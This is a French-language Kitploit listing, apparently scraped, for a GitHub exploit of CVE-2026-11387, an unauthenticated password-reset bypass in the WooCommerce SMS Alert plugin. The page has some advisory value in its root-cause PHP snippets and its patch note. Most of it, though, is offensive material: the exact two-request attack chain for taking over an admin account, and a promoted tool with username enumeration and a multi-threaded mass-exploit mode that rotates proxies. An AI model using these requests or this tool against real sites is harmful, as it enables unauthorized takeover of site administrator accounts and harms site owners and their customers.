Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-11387 — Exploite l'élévation de privilèges non authentifiée dans le plugin WooCommerce SMS Alert (CVE-2026-11387) via contournement OTP et réinitialisation de mot de passe arbitraire, avec énumération de noms d'utilisateur et analyse multi-thread. | Kitploit
Outils/GitHubGitHub/1beelze/cve-2026-11387
Attaques de Mots de PasseAnalyse des VulnérabilitésExploitationExploitation d'Applications WebSécurité WebTests d'IntrusionAuthentification
GitHub1beelze/cve-2026-11387

CVE-2026-11387

Exploite l'élévation de privilèges non authentifiée dans le plugin WooCommerce SMS Alert (CVE-2026-11387) via contournement OTP et réinitialisation de mot de passe arbitraire, avec énumération de noms d'utilisateur et analyse multi-thread.

Voir le dépôt
14il y a 2 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-11387 — SMS Alert ≤ 3.9.5

☆ Élévation de privilèges non authentifiée via réinitialisation arbitraire de mot de passe ☆
=== Beelze ===


📋 Informations de vulnérabilité

ChampDétails
CVE IDCVE-2026-11387
Score CVSS9.8 Critique
Vecteur CVSSCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
TypeAuthentification manquante / Contournement OTP
PluginSMS Alert – Vérification OTP pour WooCommerce (sms-alert)
Affecté≤ 3.9.5
Corrigé3.9.6
Publié2026
PoCBeelze

🔍 Description

SMS Alert – Vérification OTP pour WooCommerce ≤ 3.9.5 est vulnérable à l'élévation de privilèges non authentifiée via une réinitialisation arbitraire de mot de passe. Le gestionnaire de réinitialisation de mot de passe du plugin valide l'action de réinitialisation en vérifiant exclusivement $_REQUEST['option'] pour la chaîne smsalert-change-password-form, sans vérifier que le défi OTP a été complété.

Une condition de course critique dans le mécanisme d'amorçage de session permet à un attaquant de pirater n'importe quel compte en deux requêtes HTTP :

  1. POST vers le formulaire de mot de passe perdu avec un user_login cible — cela déclenche smsalert_site_challenge_otp() qui initialise $_SESSION['user_login'] sans qu'aucun OTP ne soit validé.
  2. POST option=smsalert-change-password-form avec un nouveau mot de passe choisi — routeData() lit le $_SESSION['user_login'] pré-initialisé et appelle reset_password() sans condition.
  3. Connexion avec les nouvelles identifiants — prise de contrôle du compte confirmée.
  4. L'attaque ne nécessite aucune authentification, aucun OTP et aucune interaction de la victime.
  5. N'importe quel compte WordPress — y compris administrateur — peut être pris en contrôle si l'utilisateur cible a un numéro de téléphone de facturation enregistré dans WooCommerce.

Impact : Prise de contrôle complète non authentifiée de tout utilisateur dont le téléphone de facturation est enregistré. L'attaquant obtient un accès persistant avec le rôle et les privilèges de la victime.


🧬 Analyse des causes racines

1. Enregistrement de hook AJAX sans privilège

root@kitploit:~
// sms-alert/smsalert.php
add_action( 'wp_ajax_nopriv_smsalert_reset_otp',      [ $this, 'smsalert_site_challenge_otp' ] );
add_action( 'wp_ajax_nopriv_smsalert_change_password', [ $this, 'routeData' ] );

2. Le défi OTP initialise la session sans validation

root@kitploit:~
// handler/forms/class-wpresetpassword.php
public function smsalert_site_challenge_otp() {
    $user_login = sanitize_text_field( $_REQUEST['user_login'] );
    $user       = get_user_by( 'login', $user_login )
               ?: get_user_by( 'email', $user_login );

    if ( $user ) {
        // ❌ $_SESSION['user_login'] is set HERE — before OTP verification
        $_SESSION['user_login']      = $user->user_login;
        $_SESSION['smsalert_otp']    = $this->generate_otp();
        $_SESSION[self::SESSION_VAR] = 'otp_sent';  // NOT 'validated'
        $this->send_otp( $user );
    }
}

3. routeData() vérifie uniquement $_REQUEST['option'] — pas de garde d'état de session

root@kitploit:~
// handler/forms/class-wpresetpassword.php
public function routeData() {
    $option = sanitize_text_field( $_REQUEST['option'] ?? '' );

    if ( $option === 'smsalert-change-password-form' ) {
        // ❌ MISSING: if ( $_SESSION[self::SESSION_VAR] !== 'validated' ) { return; }
        $this->reset_password();
    }
}

4. reset_password() s'exécute sans condition en utilisant la session pré-initialisée

root@kitploit:~
// handler/forms/class-wpresetpassword.php
private function reset_password() {
    $user_login = $_SESSION['user_login'] ?? '';  // poisoned by smsalert_site_challenge_otp()
    $new_pass   = sanitize_text_field( $_REQUEST['smsalert_user_newpwd'] );
    $confirm    = sanitize_text_field( $_REQUEST['smsalert_user_cnfpwd'] );

    if ( $new_pass !== $confirm || empty( $user_login ) ) { return; }

    $user = get_user_by( 'login', $user_login );
    if ( $user ) {
        wp_set_password( $new_pass, $user->ID );  // ✅ password changed — no OTP required
        wp_redirect( add_query_arg( 'password_reset', 'true', wp_login_url() ) );
        exit;
    }
}

5. Correctif dans la version 3.9.6 — ajout d'une garde d'état de session

root@kitploit:~
// handler/forms/class-wpresetpassword.php (fixed)
public function routeData() {
    $option = sanitize_text_field( $_REQUEST['option'] ?? '' );

    if ( $option === 'smsalert-change-password-form' ) {
        // ✅ FIXED: OTP must be validated before reset is allowed
        if ( ( $_SESSION[self::SESSION_VAR] ?? '' ) !== 'validated' ) {
            wp_die( 'OTP verification required.' );
        }
        $this->reset_password();
    }
}

⚔️ Chaîne d'attaque

root@kitploit:~
Attaquant (non authentifié)
     │
     │  POST /my-account/lost-password/
     │  body: user_login=admin
     ▼
┌─────────────────────────────────────────┐
│  smsalert_site_challenge_otp()          │
│  → $_SESSION['user_login'] = 'admin'   │  ← session empoisonnée 💀
│  → $_SESSION[SESSION_VAR] = 'otp_sent' │
│  → OTP envoyé au téléphone de la victime│
│  (l'attaquant ne voit jamais l'OTP)    │
└─────────────────────────────────────────┘
     │
     │  POST /my-account/lost-password/
     │  body: option=smsalert-change-password-form
     │        smsalert_user_newpwd=Pwned123!
     │        smsalert_user_cnfpwd=Pwned123!
     ▼
┌─────────────────────────────────────────┐
│  routeData()                            │
│  → vérifie uniquement $_REQUEST['option']│
│  → Vérification SESSION_VAR : IGNORÉE ❌│
│  → reset_password() appelée             │
│  → wp_set_password('admin', newpwd)     │  ← mot de passe changé 😈
└─────────────────────────────────────────┘
     │
     │  POST /wp-login.php
     │  log=admin  pwd=Pwned123!
     ▼
┌─────────────────────────────────────────┐
│  Connexion RÉUSSIE                      │
│  wordpress_logged_in_* cookie défini    │  ← PRISE DE CONTRÔLE CONFIRMÉE 💀
└─────────────────────────────────────────┘

🛠️ Outils

CVE-2026-11387.py — Chaîne d'exploitation complète

root@kitploit:~
# Single target exploit
python CVE-2026-11387.py
# → Mode 1, enter target URL + username

# Username enumeration only
python CVE-2026-11387.py
# → Mode 2

# Mass exploit (multi-threaded + proxy rotation)
python CVE-2026-11387.py
# → Mode 3, targets.txt, threads, proxy file

# Fingerprint only (no exploit)
python CVE-2026-11387.py
# → Mode 4, outputs CSV
root@kitploit:~
Exploit Phases:
  Phase 1 — Reachability check + HTTP fallback
  Phase 2 — Version fingerprint via readme.txt
  Phase 3 — Username enumeration (REST API / sitemap / author archive)
  Phase 4 — OTP challenge trigger (session poisoning)
  Phase 5 — Password reset via routeData() bypass
  Phase 6 — Login verification (wordpress_logged_in_* cookie)
root@kitploit:~
Sample output (scan_results/CVE-2026-11387_success.txt):
  [2026-07-03 12:00:00] SITE=https://target.com | user=admin | pass=Tmp_P0c_2026!Aa

🔒 Atténuation

Mettez à jour SMS Alert vers la version 3.9.6 ou plus récente.


[Beelze] — à des fins éducatives et de recherche en sécurité autorisée uniquement

Télécharger l’outil